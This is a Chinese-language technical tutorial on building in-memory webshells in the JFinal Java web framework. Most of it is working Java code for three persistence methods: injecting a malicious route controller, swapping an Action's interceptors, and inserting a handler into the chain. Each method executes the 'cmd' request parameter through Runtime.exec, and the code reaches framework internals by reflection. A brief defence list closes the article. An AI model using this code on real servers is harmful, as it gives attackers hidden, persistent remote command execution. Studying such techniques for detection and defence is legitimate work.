某java框架内存马构造
字数 949 2025-08-22 12:23:19
JFinal框架内存马构造技术详解
1. 环境搭建与基础概念
JFinal是基于Java语言的极速WEB + ORM框架,具有开发迅速、代码量少、学习简单等特点。在JFinal-undertow环境下开发,基于JFinal的web项目需要创建一个继承自JFinalConfig类的子类,该类用于对整个web项目进行配置。
关键配置方法:
configRoute()- 配置路由configInterceptor()- 配置拦截器configHandler()- 配置处理器
新版本中Routes提供了scan()方法自动扫描指定包下的控制器(带注解)来注册路由。
2. 路由内存马构造
2.1 基本原理
JFinal框架通过Routes.add()方法注册路由:
public Routes add(String controllerPath, Class<? extends Controller> controllerClass) {
return this.add(controllerPath, controllerClass, controllerPath);
}
2.2 实现步骤
-
获取关键对象:
- 通过线程上下文获取
JFinalFilter - 从
JFinalFilter获取actionMapping和routes
- 通过线程上下文获取
-
关键代码实现:
static {
try {
Thread thread = Thread.currentThread();
Object obj = getField(thread, "threadLocals");
Object table = getField(obj, "table");
// 遍历threadLocals查找关键对象
// ...
if (o.getClass().getName().contains("ManagedFilter")) {
JFinalFilter filter = (JFinalFilter) getField(o, "filter");
JFinal jfinal = (JFinal) getField(filter, "jfinal");
actionMapping = (ActionMapping) getField(jfinal, "actionMapping");
routes = (Routes) getField(actionMapping, "routes");
}
// ...
} catch (Exception e) {
e.printStackTrace();
}
}
- 构造恶意控制器:
public class ShellController extends Controller {
public void index() throws IOException {
String cmd = getPara("cmd");
Runtime.getRuntime().exec(cmd);
}
}
- 添加恶意路由:
Method index = ShellController.class.getDeclaredMethod("index");
Action shellaction = new Action("/controllershell", "/controllershell",
ShellController.class, index, index.getName(),
new Interceptor[]{new Demo1Interceptor()}, "/controllershell/");
Map mapping = (Map) getField(actionMapping, "mapping");
mapping.put("/controllershell", shellaction);
3. 拦截器内存马构造
3.1 基本原理
JFinal的拦截器在com.jfinal.aop.Invocation#invoke中执行,通过修改现有Action的拦截器数组可以实现内存马。
3.2 实现步骤
- 构造恶意拦截器:
public class ShellInterceptor implements Interceptor {
@Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
- 修改现有Action的拦截器:
Action helloAction = (Action) mapping.get("/hello");
Interceptor[] interceptors = new Interceptor[1];
interceptors[0] = new ShellInterceptor();
Field field = helloAction.getClass().getDeclaredField("interceptors");
field.setAccessible(true);
field.set(helloAction, interceptors);
4. 处理器内存马构造
4.1 基本原理
JFinal的处理器(Handler)采用责任链模式,通过修改处理器链可以在请求处理流程中插入恶意处理器。
4.2 实现步骤
- 构造恶意处理器:
public class ShellHandler extends Handler {
@Override
public void handle(String s, HttpServletRequest httpServletRequest,
HttpServletResponse httpServletResponse, boolean[] booleans) {
if (s.equals("/cmd")) {
String cmd = httpServletRequest.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
next.handle(s, httpServletRequest, httpServletResponse, booleans);
}
}
- 插入处理器链:
Field next = handler.getClass().getSuperclass().getDeclaredField("next");
next.setAccessible(true);
Handler o = (Handler) next.get(handler);
Handler shellhandler = new ShellHandler();
Field next1 = shellhandler.getClass().getSuperclass().getDeclaredField("next");
next1.setAccessible(true);
next1.set(shellhandler, o);
next.set(handler, shellhandler);
5. 关键工具方法
5.1 反射获取字段值
public static Object getField(Object o, String s) throws NoSuchFieldException, IllegalAccessException {
Field field;
try {
field = o.getClass().getDeclaredField(s);
} catch (NoSuchFieldException e) {
try {
field = o.getClass().getSuperclass().getDeclaredField(s);
} catch (Exception e1) {
field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
}
}
field.setAccessible(true);
return field.get(o);
}
5.2 遍历处理器链
public static Object getParentNext(Object handler) {
Object current = handler;
Object current1 = current;
try {
Class<?> clazz = current.getClass();
while (clazz != null) {
Field nextField = null;
try {
nextField = clazz.getDeclaredField("next");
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
if (clazz == null) {
break;
}
continue;
}
nextField.setAccessible(true);
current1 = current;
current = nextField.get(current);
if (current == null) {
break;
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return current1;
}
6. 防御建议
- 对JFinal框架的关键配置进行权限控制
- 监控内存中路由、拦截器和处理器的异常变化
- 限制反射操作的使用
- 对执行命令的操作进行严格过滤
7. 总结
本文详细分析了JFinal框架中三种内存马的构造方法:
- 路由内存马 - 通过修改ActionMapping中的路由映射
- 拦截器内存马 - 通过修改Action中的拦截器数组
- 处理器内存马 - 通过插入处理器责任链
每种方法都有其特点和适用场景,理解这些技术有助于更好地防御此类攻击。